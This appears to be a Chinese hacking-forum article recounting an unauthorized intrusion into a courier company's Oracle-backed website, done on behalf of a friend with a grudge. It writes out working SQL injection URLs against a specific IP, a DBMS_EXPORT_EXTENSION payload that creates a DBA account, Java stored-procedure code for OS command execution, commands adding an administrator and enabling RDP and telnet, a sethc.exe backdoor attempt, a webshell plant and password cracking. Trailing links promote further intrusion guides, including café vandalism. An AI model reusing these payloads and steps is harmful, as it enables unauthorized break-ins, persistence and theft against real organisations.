对著名快递公司的艰难的oracle入侵过程(图)

所属分类: 网络安全 / 黑客入侵 阅读数: 125
收藏 0 赞 0 分享
轻车熟路
  一个对新飞鸿有意见的亲密朋友找我说能不能把这个公司的网站给搞了,我一听公司,心想,企业站都是垃圾,好搞,便痛快答应(人品真好!),呵呵,但是后来才发现没我想像的那么简单。
  

  asp的页面,啊d和google扫注入点没有,意料之中,工具误差太大!于是旁注,结果只有这一个站,然后便边开着流光扫服务器边习惯性的去站上乱逛去手工找注入点,一会的功夫出来一条链接,如图:
  

  习惯性的单引号,如图
  

  很明显的注入,猜测源码大体是这样的:
select XX from XXX where wen='云南';
  而且数据库类型为oracle,顿时来了精神,很少有这种练手的机会!估计服务器配置肯定不错!由于这种类型的数据库没什么好的工具,就直接来手工吧,那样比较刺激,据我朋友说这个公司很大,网络也很大,数据库量更是大上加大,难怪用oracle呢,所以放弃后台提权的想法!首先用union查询确定字段数和暴一些敏感资料,提交如下url:
http://211.154.103.15/server2.asp?wen=四川省' order by 20--;
  返回正确,说明此表字段名大于20,继续提交
http://211.154.103.15/server2.asp?wen=四川省' order by 30--;
  仍然返回正确,经过一些列的猜测然后提交,49返回正确,50出错,确定字段为49个,然后提交以下url:
http://211.154.103.15/server2.asp?wen=四川省' union select NULL,NULL,……,NULL from dual-
  中间省略,一共49个null, 由于union查询需要数据类型匹配,否则出错,所以这里用null而不用数字可以避免类型错误,然后提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select 1,NULL,……,NULL from dual--;
  出错显示类型不匹配,换成

http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',NULL,……,NULL from dual--;
  返回正确,说明第一个是字符型的,但是下面对应位置并没有显示,继续按以上方法尝试后面48个,当试到12和13时,下面对应位置显示了,如图
  


  好了,现在我们就要用下面那两个地方爆我们需要的东西,看下oracle版本,提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',NULL,……,'11', (select banner from sys.v_$version where rownum=1),'13'……NULL from dual--;
结果如图
  

  继续提交
select member from v$logfile where rownum=1
  获得操作系统版本,如图
  

  确定是windows,下面查看服务器sid,提交select instance_name from v$instance,如图
  

  待会远程连接要用的,下面确定下主机ip,telnet 漏洞页上显示的ip地址的1521端口,为oracle的端口, ,成功,1521开放,下面就本地架设个oracle客户端,利用oracle的那些默认帐号密码登录,尝试n次均失败告终,管理员安全意思不错,表扬下!^.^
  下面就利用oracle的内置函数SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES过滤不严的漏洞,至于这个函数的具体漏洞形成的原因,这里就不占篇幅了,想知道的可以去我博客,对oracle不熟悉的可以跳过这一部分,继续构造提交:
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER REBEYOND IDENTIFIED BY REBEYOND'''';END;'';END;--','SYS',0,'1',0)=''--;
  这里讲解下,and后面把函数求逻辑或然后与空比较,这样系统会先求函数值,便会执行我们构造在函数里的语句,这样就往数据库加了个用户名为rebeyond密码为rebeyond的用户,然后执行
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant sysdba to rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
  便把我们建的用户加为dba权限,下面赋予用户远程连接权限,提交
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
  ,好了,下面远程连接!
  ● 峰回路转
  本以为建了dba权限的用户,远程连接继续拿权限就完了,但是当我以dba身份登录时却出现这个,如图:
  

  百度了下才知道是服务器那边配置的问题,由于是服务器端的问题,一时不好解决,就暂时先用normal方式登录,连接成功,进去去权限设置那把权限能勾的都勾上,如图:
  

  因为我们毕竟是dba权限的,虽然没以dba方式登录,但是除了开关数据库,其他权限还是都有的,然后就是想办法提权拿服务器,虽然oracle不支持xp_cmdshell直接执行系统命令,但是对pl\sql的支持是非常另人激动的,因为可以通过建立java存储过程来执行命令,注意这时建完shell后要对数据库用户赋予对磁盘文件操作的权限(在sqlplus里执行):
call dbms_java.grant_permission('REBEYOND','java.io.FilePermission','c:/a.txt','read,write');
  。cmd打开sqlplus(和oracle客户端一起安装的),输入sqlplus /nolog,然后输入
connect [email=rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL]rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL[/email])));
  是不是用到了我们前面爆出的服务器sid呢,hoho,连接成功,下面开始执行命令,创建java存储过程,代码如下:
  java存储过程:
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
第二步:
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
  第三步:

create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
  创建完之后,就可以通过x := RUN_CMz(dos命令)来执行系统命令了。
  建 完存储过程后系统命令执行成功, 如图

  但是后来发现这个shell很不爽,如果遇到需要交互的命令就会卡死,刚开始想用"ftp 我的ip地址"检测下能不能执行,结果卡死,我这边防火墙也没反应,不解,后tasklist,发现ftp://ftp.exe/,确定对方不能连接外网,可能有防火墙或作了设置,于是用ftp传马思路抛弃,打个systeninfo命令看下系统,是2003,于是打算先建个超级用户然后开3389,执行exec :x := RUN_CMD('net user')结果卡死,猜测net被删,执行
exec :x := RUN_CMD('net1 user');
  成功,执行
exec :x := RUN_CMD('net1 user rebeyond rebeyond /add&net1 localgroup administrators rebeyond /add');
  成功,下面用reg命令读下3389的状态和端口,执行
exec :x := RUN_CMD('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"');
  发现fDenyTSconnections值为1,说明3389关闭,于是依次执行以下语句开3389:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
  因为cmd一交互就卡死,所以加了个/f强行参数,搞定后运行mstsc连接,结果另人吐血,能连上但是却没有登录窗口,提示说什么" awgina.dll被替换成未知版本",猜测可能把3389用到的dll给删除了,因为虽然不能登录但可以连接,于是想到了替换sethc.exe,在shell下依次执行:
exec :x :=RUN_CMD ('del c:\windows\system32\sethc.exe /f')
exec :x :=RUN_CMD('del C:\WINDOWS\system32\dllcache\sethc.exe /f')
exec :x :=RUN_CMD('copy c:\windows\explorer.exe c:\windows\system32\sethc.exe'),
  按五次shift后发现没替换成功,也没删除成功,推断原因只有一个,就是没权限,但是我在前面用java建shell前专门赋予了权限的,不解,百度一番!发现赋予文件操作权限必须得以dba的方式登录,但是前面说了我们无法以dba方式登录,顿时大脑一片空白,没有写和删除权限,只有运行权限,思路一下少了很多,继续!!忽然想到了telnet,用reg查看了下telnet服务的状态为禁用,于是执行
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr" /v Start /t REG_DWORD /d 2 /f
  把telnet服务设置为自动,然后就是想办法让服务器重启开telnet。
  柳暗花明:
  shell里执行
rundll32.exe user.exe,restartwindows
  ,不一会主机重启了,成功telnet,这样权限我们已经拿到了!但是要向图像界面进军,在telnet执行netstat -an看了下端口,发现5632,熟悉提权的人应该很熟悉,这是pcanywhere的默认端口,但是怎么才能知道pcanywhere的密码呢?因为不能连接外网,所以直接传cif文件是不可能的,于是想到了webshell!在telnet里找到站的 目录d:\site,执行
echo "" >d:\site\guestboook.asp
  访问成功,然后用海洋一句话提交大马成功如图:
  

  跳转到pcanywhere的cif文件目录下载cif文件并破解,成功得到pcanywhere的密码,如图:
  

  到这基本就结束了,但是pcanywhere远程很不爽,于是还是想开用3389,于是百度搜索原因,发现是3389和pcanywhere冲突的原因并找到了解决办法,删除某个注册表项就搞定了,在pcanywhere操作就很简单了,搞定后重启服务器,连接对方3389,终于看到了熟悉的登录界面,用前面建的用户成功登入!如图:
  

  至此整个入侵过程宣告结束!
更多精彩内容其他人还在看

黑客技术讲解 网吧入侵方法大搜罗

首先,我们了解被破坏网吧的客观环境,要了解网吧人员的实地监测等。尤其要注意看有没有闭路电视监控。如果网吧人员对你的个人资料相当熟悉,就住手免的惹麻烦了。部分网吧要出示身份证也不要破坏了,免的惹麻烦。以下破坏方法不分先后,请量力灵活运用若干破坏组合。具体
收藏 0 赞 0 分享

通过Asp入侵Webserver

通过asp入侵web server,窃取文件毁坏系统,这决非耸人听闻... iis的安全性问题 1.iis3/pws的漏洞 我实验过,win98 pws上运行ASP程序,只须在浏览器地址栏内多加一个小数点ASP程序就会被下载下来。IIS3听说也有同样的问题,
收藏 0 赞 0 分享

详尽的IPC$入侵

一 唠叨一下: 网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄. 不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步
收藏 0 赞 0 分享

如何入侵ADSL

这是一位所谓的"黑客"的口述,你不妨看一下,也许你看完后对他的技术性做法不是完全明白,但是你肯定会感到一身冷汗,因为我们现在使用ADSL已经日益广泛,但我们的安全意识还不是很强.听完他的口述希望大家在日后能加强安全防范! 口述: 也许看烂了网上已有的
收藏 0 赞 0 分享

看我来入侵复旦大学(图)

一、师出有名 某日十分无聊,就和X论坛的超级版主wyzhack瞎吹牛,东年西扯的。后来不知道怎么的扯到复旦去了,他提议说不如我们黑掉复旦吧。正好当时也比较清闲,就答应一起看看了,嘿嘿。这次跑去黑复旦纯粹是为了练习技术。 二、战略部署 这次要拿的
收藏 0 赞 0 分享

领土之争——入侵某视讯服务器回忆录

老早就打算写这样一篇文章:能够细致地反映出入侵中攻防的具体内容,我想这比单纯的技术文章有趣的多。有鉴于此,我将尽力完整描述入侵过程中的思考方式。 1.石榴裙下的kk 说实话,就第一次拿到权限而言,没有多少技术含量。我花了N久时间收集KK网络的各种信息,最终
收藏 0 赞 0 分享

黑客攻防实战之对有防火墙网站入侵过程

前几天群里的兄弟给了一个网站,问我可不可以入侵。   一、踩点   ping www.111.com 发现超时,可以是有防火墙或做了策略。再用superscan扫一下,发现开放的端口有很多个,初步估计是软件防火墙。   二、注入   从源文件里搜索关键字asp
收藏 0 赞 0 分享

看看黑客都在偷窥什么!入侵个人电脑揭密(图)

前几天看《南国早报》说一位女孩个人电脑被黑客入侵控制,把裸照发到网上威胁女孩的事。联想到最近网上这样的事挺多的,就想给大家说说怎么防范。 其实现在的网络真的不安全~只要你的电脑连接上网络就存在一定的风险。黑客并不是万能的,他们入侵的电脑都是存在比较严重
收藏 0 赞 0 分享

XSS Phishing - 新式跨站脚本攻击方式(图)

最近跨站脚本漏洞好像比较火,国内的一些比较出名的WEB程序都陆续暴出了跨站脚本漏洞,但是一提到跨站脚本漏洞的攻击方式大家都哑火了,因为在常规的概念中这种漏洞最多是挂网页木马,获取COOKIE之类,属于典型的鸡肋漏洞! 跨站脚本攻击最大的魅力是通过HTML注
收藏 0 赞 0 分享

PHP数据库安全之SQL注入

$offset = $argv[0]; // 注意,没有输入验证!   $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";   $resu
收藏 0 赞 0 分享
查看更多